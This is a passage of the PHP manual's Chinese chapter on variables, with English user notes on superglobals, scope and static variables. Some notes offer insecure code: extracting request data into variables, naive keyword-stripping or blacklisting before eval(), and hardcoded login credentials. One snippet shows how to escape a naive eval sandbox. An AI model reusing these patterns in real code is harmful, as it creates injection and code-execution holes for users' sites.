function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
    return unserialize($new_serialized_object);
  }
  else
    return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru 27-Nov-2002 01:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
28-Aug-2002 10:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!


变量

Table of Contents

  • 基础
  • 预定义变量
  • 变量范围
  • 可变变量
  • 来自 PHP 之外的变量

User Contributed Notes

There are no user contributed notes for this page.


基础

PHP 中的变量用一个美元符号后面跟变量名来表示。变量名是区分大小写的。

变量名与 PHP 中其它的标签一样遵循相同的规则。一个有效的变量名由字母或者下划线开头，后面跟上任意数量的字母，数字，或者下划线。 按照正常的正则表达式，它将被表述为：'^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$'。

Note: 在此所说的字母是 a-z，A-Z，以及 ASCII 字符从 128 到 255（0x80-0xff）。

Note: $this 是一个特殊的变量，它不能被赋值。 PHP 7.1.0 之前，间接赋值（例如通过使用可变变量）是可能的。

Tip

请参见用户空间命名指南。

有关变量的函数信息见变量函数。

<?php
$var = 'Bob';
$Var = 'Joe';
echo "$var, $Var"; // 输出 "Bob, Joe"

$4site = 'not yet'; // 非法变量名；以数字开头
$_4site = 'not yet'; // 合法变量名；以下划线开头
$i站点is = 'mansikka'; // 合法变量名；可以用中文
?>

变量默认总是传值赋值。那也就是说，当将一个表达式的值赋予一个变量时，整个原始表达式的值被赋值到目标变量。这意味着，例如，当一个变量的值赋予另外一个变量时，改变其中一个变量的值，将不会影响到另外一个变量。有关这种类型的赋值操作，请参阅表达式一章。

PHP 也提供了另外一种方式给变量赋值：引用赋值。这意味着新的变量简单的引用（换言之，"成为其别名" 或者 "指向"）了原始变量。改动新的变量将影响到原始变量，反之亦然。

使用引用赋值，简单地将一个 & 符号加到将要赋值的变量前（源变量）。例如，下列代码片断将输出"My name is Bob"两次：

<?php
$foo = 'Bob'; // 将 'Bob' 赋给 $foo
$bar = &$foo; // 通过 $bar 引用 $foo
$bar = "My name is $bar"; // 修改 $bar 变量
echo $bar;
echo $foo; // $foo 的值也被修改
?>

有一点重要事项必须指出，那就是只有有名字的变量才可以引用赋值。

<?php
$foo = 25;
$bar = &$foo; // 合法的赋值
$bar = &(24 * 7); // 非法; 引用没有名字的表达式

function test()
{
return 25;
}

$bar = &test(); // 非法
?>

虽然在 PHP 中并不需要初始化变量，但对变量进行初始化是个好习惯。未初始化的变量具有其类型的默认值 - 布尔类型的变量默认值是 false，整形和浮点型变量默认值是零，字符串型变量（例如用于 echo 中）默认值是空字符串以及数组变量的默认值是空数组。

Example #1 未初始化变量的默认值

<?php
// 未设置和未引用（不使用上下文）的变量；输出 NULL
var_dump($unset_var);

// Boolean 用法；输出 'false' (See ternary operators for more on this syntax)
echo $unset_bool ? "true\n" : "false\n";

// String 用法；输出 'string(3) "abc"'
$unset_str .= 'abc';
var_dump($unset_str);

// Integer 用法；输出 'int(25)'
$unset_int += 25; // 0 + 25 => 25
var_dump($unset_int);

// Float 用法；输出 'float(1.25)'
$unset_float += 1.25;
var_dump($unset_float);

// Array 用法；输出 array(1) { [3]=> string(3) "def" }
$unset_arr[3] = "def"; // array() + array(3 => "def") => array(3 => "def")
var_dump($unset_arr);

// Object 用法：创建新 stdClass 对象 (see http://www.php.net/manual/en/reserved.classes.php)
// Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }
$unset_obj->foo = 'bar';
var_dump($unset_obj);
?>

依赖未初始化变量的默认值在某些情况下会有问题，例如把一个文件包含到另一个之中时碰上相同的变量名。 使用未初始化的变量会发出 E_WARNING （在 PHP 8.0.0 之前是 E_NOTICE） 错误，但是在向一个未初始化的数组附加单元时不会。isset() 语言结构可以用来检测一个变量是否已被初始化。

User Contributed Notes

anisgazig at gmail dot com 05-Nov-2021 02:04
$this is a special variable so we can not assign it. But before PHP 7.1.0, indirect assignments such as variable variables are allowed.

$bd = "this";
$$bd = "CountryNickName";

echo $this;//allowed prior to PHP 7.1.0

but from the version of 7.1.0, it was not allowed and throw a fatal error
anisgazig at gmail dot com 17-Feb-2021 05:35
$this is a special variable so we can not assign it.But Prior to PHP 7.1.0, indirect assignment such as variable variables are allowed.

$bd = "this";
$$bd = "CountryNickName";

echo $this;//allowed prior to PHP 7.1.0

but from the version of 7.1.0,it was allowed.
anisgazig at gmail dot com 13-Feb-2021 04:41
clear concept of variable declaration rules and classification

variable declaration rules:

1.start with dollar sign($)
2.first letter of variable name comes from a-zA-z_
3.next letters of variable name comes from a-zA-Z0-9_
4.no space,no syntex

classification of variables:

Variable are mainly Two types
1.Predefined Variable
2.User Define Variable

Predefined Variable
There are 12 predefined variables in php 8
1.$GLOBALS
2.$_SERVER
3.$_REQUEST
4.$_FILES
5.$_ENV
6.$_SESSION
7.$_COOKIE
8.$_GET
9.$_POST
10.$http_response_header
11.$argc
12.$argv

User Define Variable
User Define variable are 3 types
1.variable scope
2.variable variables
3.reference variable

Variable Scope
variable scope are 3 types
1.local scope
2.global scope
3.static variable
Anonymous 08-Feb-2017 05:21
I highly recommend to use an editor that can list all variable names in a separate window.

The reason are typing errors in variable names.

<?php
$somename = "nobody";
// Now we want to use $somename  somewhere
echo $somemane ;
?>
And wonder why it doesn't print "nobody".
The reason is simple, we have a typing error in $somename and $somemane is a new variable.

In this example it might be easy to find. But if you use variables to calculate some things, you might hardly find it and ask yourself why your calculation is always wrong.
With an editor that list all variable names in a separate window such "double" variables but with wrong typing can be easily found.

BTW:
It would have been better, if the PHP language would require to use some sort of keyword to define a variable the first time.
jeff dot phpnet at tanasity dot com 11-Sep-2010 04:11
This page should include a note on variable lifecycle:

Before a variable is used, it has no existence. It is unset. It is possible to check if a variable doesn't exist by using isset(). This returns true provided the variable exists and isn't set to null. With the exception of null, the value a variable holds plays no part in determining whether a variable is set.

Setting an existing variable to null is a way of unsetting a variable. Another way is variables may be destroyed by using the unset() construct.

<?php
print isset($a); // $a is not set. Prints false. (Or more accurately prints ''.)
$b = 0; // isset($b) returns true (or more accurately '1')
$c = array(); // isset($c) returns true
$b = null; // Now isset($b) returns false;
unset($c); // Now isset($c) returns false;
?>

is_null() is an equivalent test to checking that isset() is false.

The first time that a variable is used in a scope, it's automatically created. After this isset is true. At the point at which it is created it also receives a type according to the context.

<?php
$a_bool = true;   // a boolean
$a_str = 'foo';    // a string
?>

If it is used without having been given a value then it is uninitalized and it receives the default value for the type. The default values are the _empty_ values. E.g  Booleans default to FALSE, integers and floats default to zero, strings to the empty string '', arrays to the empty array.

A variable can be tested for emptiness using empty();

<?php
$a = 0; //This isset, but is empty
?>

Unset variables are also empty.

<?php
empty($vessel); // returns true. Also $vessel is unset.
?>

Everything above applies to array elements too.

<?php
$item = array();
//Now isset($item) returns true. But isset($item['unicorn']) is false.
//empty($item) is true, and so is empty($item['unicorn']

$item['unicorn'] = '';
//Now isset($item['unicorn']) is true. And empty($item) is false.
//But empty($item['unicorn']) is still true;

$item['unicorn'] = 'Pink unicorn';
//isset($item['unicorn']) is still true. And empty($item) is still false.
//But now empty($item['unicorn']) is false;
?>

For arrays, this is important because accessing a non-existent array item can trigger errors; you may want to test arrays and array items for existence with isset before using them.


预定义变量

PHP 提供了大量的预定义变量。由于许多变量依赖于运行的服务器的版本和设置，及其它因素，所以并没有详细的说明文档。一些预定义变量在 PHP 以命令行形式运行时并不生效。 详细参阅预定义变量一章。

PHP 提供了一套附加的预定数组，这些数组变量包含了来自 web 服务器（如果可用），运行环境，和用户输入的数据。这些数组非常特别，它们在全局范围内自动生效，例如，在任何范围内自动生效。因此通常被称为自动全局变量（autoglobals）或者超全局变量（superglobals）。（PHP 中没有用户自定义超全局变量的机制。） 详情参阅超全局变量列表。

Note: 可变变量

超级全局变量不能被用作函数或类方法中的可变变量。

如果某些 variables_order 中的变量没有设定，它们的对应的 PHP 预定义数组也是空的。

User Contributed Notes

root at mantoru dot de 31-Jan-2008 12:56
To tokie at hanmail dot net: You took that out of context -- it is merely a recommendation.

If your variables_order setting does not contain "E", $_ENV is still useful. Every call to getenv will be "cached" in $_ENV, so you can do this:

<?php
// variables_order = GPCS
var_dump(isset($_ENV['PATH'])); // bool(false)
getenv('PATH');
var_dump(isset($_ENV['PATH'])); // bool(true)
?>

For some reason, it does not work with with own environment variables. The above example with PHP_TEST instead of PATH would fail (if it is set via putenv).
pinkgothic at gmail dot com 20-Apr-2007 07:15
Dealing with "superglobals" and functions is not as straightforward as it may seem when you're doing plenty manipulations.

For example:

<?php
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Calling some_method() will cause a warning-level error by PHP informing you that "id" is not set in some_other_method(). However, if you instead use:

<?php
  $_REQUEST['id'] = 0;
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Then the script will echo 440.

In consequence, if you manually attempt to add keys to the superglobals, those keys *aren't* automatically superglobal. The above example isn't very sensible, of course, but this can be a huge gotcha if you're juggling user data between functions and you're unwittingly being forced to work inside a function (e.g. via PHP include in TYPO3).

Unfortunately, global $_REQUEST['id'] won't save you, either - it causes a parse error - nor will a global $_REQUEST change anything after you've set the keys... consequently making it hard to conviniently 'hack' outdated scripts by making them believe they're still running in a different environment.

The only "solution" to this issue is to use parameters.
holger at doessing dot net 02-Feb-2007 06:07
On the subject of permalinks and queries:
Say, you use an inexpensive subdomain of (e.g.) www.nice.net, thus www.very.nice.net, and that the domain owner has simply placed a frame at this particular location, linking to the actual address (ugly and subject-to-change) of your site.
Consequently, the actual site URI and various associated hashes and query strings are not immediately visible to the user. Sometimes this is useful, but it also makes bookmarking/permalinking impossible (the browser will only bookmark the static address in the top frame).
However, as far as the query strings go, there is workaround. Instead of providing users with permalinks to the actual URI (e.g. prtcl://weird.and.ugly/~very/ugly.php?stuff=here; may even be subject to change), I provide them with this: prtcl://www.very.nice.net?stuff=here.

In brief, I then use the following code to re-populate the $_GET array:

if (isset($_SERVER['HTTP_REFERER'])) { // If set, this page is running in a frame
    $uri = parse_url($_SERVER['HTTP_REFERER']); // grab URI of parent frame
    $querystring = ($uri['query']) ? $uri['query'] : false; // grab the querystring
    if ($querystring) {
        $vars = explode('&', $querystring); // cut into individual statements
        foreach ($vars as $varstring) { // populate $_GET
            $var = explode('=', $varstring);
            if (count($var) == 2) $_GET[$var[0]] = $var[1];
        }
    } // no, nothing to report from the parent frame
} // no, not using a parent frame today...

If the actual host address is ever changed, users entering the frame (with the nicer address) will be using the new (and ugly) URI, but this way the old query strings will be available to the new address also. The users will never again be bothered by you moving to another neighborhood.
I?igo Medina 05-May-2006 01:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com 12-Apr-2006 10:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
DD32=theonly_DD32[&amp;]yahoo.com.au 19-Mar-2006 05:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
    function long_to_GET(){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
        **/
        if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            //Split it out.
            $tmp = explode('/',$_SERVER['PATH_INFO']);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
        }
    }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
Graeme Jefferis 13-Sep-2005 04:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
        switch ($key)
        {
                case "submitted_var_1":
                case "submitted_var_2":
                case "submitted_var_3":
                        $$key = $value; break;

                case "dangerous_var":
                        $value = do_something_special_with($value);
                        $$key = $value;
                        break;
        }
}
?>
webdesign at benking dot com 29-Aug-2005 02:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
    $temp = ",$k,";
    if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
myfirstname dot barros at gmail dot com 27-Apr-2005 07:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com 26-Apr-2005 05:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
    while ($x = stristr ($code_to_eval, "global")) {
        $temp = substr ($code_to_eval, 1, $x-1);
        $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
        $code_to_eval = $temp;
    }
    $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
kasey at cornerspeed dowt com 14-Jun-2004 05:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
    // all your program decisions and database interactions can go here
    if (isset($_POST["button_name"]))
    {
        ...
    }
    ...
}
elseif (isset($_POST["submit_login"]))
{
    if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
    {
        $_SESSION["valid"] = true;
        ...
    }
    else
    {
        session_unset();
        session_destroy();
        $error_msg = "Invalid username or password";
        $result_page = "login.php";
    }
}
elseif (isset($logoff))
{
    session_unset();
    session_destroy();
    $success_msg = "You have logged off successfully";
    $result_page = "login.php";
}
else
{
    session_unset();
    session_destroy();
    $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com 10-May-2004 12:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
marcbender_AT_mail_DOT_com 18-Apr-2004 02:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
joker at vip dot hr 08-Sep-2003 07:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
    ${$key}=$_FILES[$key]['tmp_name'];
    while (list ($key1, $val1) = each ($val)) {
        ${$key."_".$key1}=$_FILES[$key][$key1];
    }
}

   Daniel
01-May-2003 09:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
    $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 10:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam 19-Mar-2003 09:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
    print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
    global $$Variable_Name;
    print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
lopez dot on dot the dot lists at yellowspace dot net 17-Jan-2003 06:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
    unset($GLOBALS);
    unset($_ENV);
    // unset any other superglobal...
    return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
08-Jul-2002 01:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
    $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
    array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
mike at dbeat dot com 22-Nov-2000 06:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.


变量范围

变量的范围即它定义的上下文背景（也就是它的生效范围）。大部分的 PHP 变量只有一个单独的范围。这个单独的范围跨度同样包含了 include 和 require 引入的文件。例如：

<?php
$a = 1;
include 'b.inc';
?>

这里变量 $a 将会在包含文件 b.inc 中生效。但是，在用户自定义函数中，一个局部函数范围将被引入。任何用于函数内部的变量按缺省情况将被限制在局部函数范围内。例如：

<?php
$a = 1; /* global scope */

function Test()
{
echo $a; /* reference to local scope variable */
}

Test();
?>

这个脚本会生成未定义变量 E_WARNING（PHP 8.0.0 之前是 E_NOTICE）诊断提示。然而，如果 display_errors INI 设置为隐藏这类诊断提示，然后在任何情况下都不会有输出。这是因为 echo 语句引用了一个局部版本的变量 $a，而且在这个范围内，它并没有被赋值。你可能注意到 PHP 的全局变量和 C 语言有一点点不同，在 C 语言中，全局变量在函数中自动生效，除非被局部变量覆盖。这可能引起一些问题，有些人可能不小心就改变了一个全局变量。PHP 中全局变量在函数中使用时必须声明为 global。

global 关键字

首先，一个使用 global 的例子：

Example #1 使用 global

<?php
$a = 1;
$b = 2;

function Sum()
{
global $a, $b;

$b = $a + $b;
}

Sum();
echo $b;
?>

以上脚本的输出将是"3"。在函数中声明了全局变量 $a 和 $b 之后，对任一变量的所有引用都会指向其全局版本。对于一个函数能够声明的全局变量的最大个数，PHP 没有限制。

在全局范围内访问变量的第二个办法，是用特殊的 PHP 自定义 $GLOBALS 数组。前面的例子可以写成：

Example #2 使用 $GLOBALS 替代 global

<?php
$a = 1;
$b = 2;

function Sum()
{
$GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

$GLOBALS 是一个关联数组，每一个变量为一个元素，键名对应变量名，值对应变量的内容。$GLOBALS 之所以在全局范围内存在，是因为 $GLOBALS 是一个超全局变量。以下范例显示了超全局变量的用处：

Example #3 演示超全局变量和作用域的例子

<?php
function test_superglobal()
{
echo $_POST['name'];
}
?>

使用静态变量

变量范围的另一个重要特性是静态变量（static variable）。静态变量仅在局部函数域中存在，但当程序执行离开此作用域时，其值并不丢失。看看下面的例子：

Example #4 演示需要静态变量的例子

<?php
function Test()
{
$a = 0;
echo $a;
$a++;
}
?>

本函数没什么用处，因为每次调用时都会将 $a 的值设为 0 并输出 0。将变量加一的 $a++ 没有作用，因为一旦退出本函数则变量 $a 就不存在了。要写一个不会丢失本次计数值的计数函数，要将变量 $a 定义为静态的：

Example #5 使用静态变量的例子

<?php
function test()
{
static $a = 0;
echo $a;
$a++;
}
?>

现在，变量 $a 仅在第一次调用 test() 函数时被初始化，之后每次调用 test() 函数都会输出 $a 的值并加一。

静态变量也提供了一种处理递归函数的方法。递归函数是一种调用自己的函数。写递归函数时要小心，因为可能会无穷递归下去。必须确保有充分的方法来中止递归。以下这个简单的函数递归计数到 10，使用静态变量 $count 来判断何时停止：

Example #6 静态变量与递归函数

<?php
function test()
{
static $count = 0;

$count++;
echo $count;
if ($count < 10) {
test();
}
$count--;
}
?>

常量表达式的结果可以赋值给静态变量，但是动态表达式（比如函数调用）会导致解析错误。

Example #7 声明静态变量

<?php
function foo(){
static $int = 0; // 正确
static $int = 1+2; // 正确
static $int = sqrt(121); // 错误（因为它是函数）

$int++;
echo $int;
}
?>

从 PHP 8.1.0 开始，当继承（不是覆盖）使用有静态变量的方法时，继承的方法将会跟父级方法共享静态变量。这意味着方法中的静态变量现在跟静态属性有相同的行为。

Example #8 在继承方法中使用静态变量

<?php
class Foo {
public static function counter() {
static $counter = 0;
$counter++;
return $counter;
}
}
class Bar extends Foo {}
var_dump(Foo::counter()); // int(1)
var_dump(Foo::counter()); // int(2)
var_dump(Bar::counter()); // int(3)，PHP 8.1.0 之前 int(1)
var_dump(Bar::counter()); // int(4)，PHP 8.1.0 之前 int(2)
?>

Note:

静态声明在编译时解析。

全局和静态变量的引用

对于变量的 static 和 global 定义是以引用的方式实现的。例如，在一个函数域内部用 global 语句导入的一个真正的全局变量实际上是建立了一个到全局变量的引用。这有可能导致预料之外的行为，如以下例子所演示的：

<?php
function test_global_ref() {
global $obj;
$new = new stdClass;
$obj = &$new;
}

function test_global_noref() {
global $obj;
$new = new stdClass;
$obj = $new;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

以上示例会输出：

NULL
object(stdClass)#1 (0) {
}

类似的行为也适用于 static 语句。引用并不是静态地存储的：

<?php
function &get_instance_ref() {
static $obj;

echo 'Static object: ';
var_dump($obj);
if (!isset($obj)) {
$new = new stdClass;
// 将一个引用赋值给静态变量
$obj = &$new;
}
if (!isset($obj->property)) {
$obj->property = 1;
} else {
$obj->property++;
}
return $obj;
}

function &get_instance_noref() {
static $obj;

echo 'Static object: ';
var_dump($obj);
if (!isset($obj)) {
$new = new stdClass;
// 将一个对象赋值给静态变量
$obj = $new;
}
if (!isset($obj->property)) {
$obj->property = 1;
} else {
$obj->property++;
}
return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

以上示例会输出：

Static object: NULL
Static object: NULL

Static object: NULL
Static object: object(stdClass)#3 (1) {
  ["property"]=>
  int(1)
}

上例演示了当把一个引用赋值给一个静态变量时，第二次调用 &get_instance_ref() 函数时其值并没有被记住。

User Contributed Notes

dexen dot devries at gmail dot com 06-Mar-2017 03:54
If you have a static variable in a method of a class, all DIRECT instances of that class share that one static variable.

However if you create a derived class, all DIRECT instances of that derived class will share one, but DISTINCT, copy of that static variable in method.

To put it the other way around, a static variable in a method is bound to a class (not to instance). Each subclass has own copy of that variable, to be shared among its instances.

To put it yet another way around, when you create a derived class, it 'seems  to' create a copy of methods from the base class, and thusly create copy of the static variables in those methods.

Tested with PHP 7.0.16.

<?php

require 'libs.php';
require 'setup.php';

class Base {
    function test($delta = 0) {
        static $v = 0;
        $v += $delta;
        return $v;
    }
}

class Derived extends Base {}

$base1 = new Base();
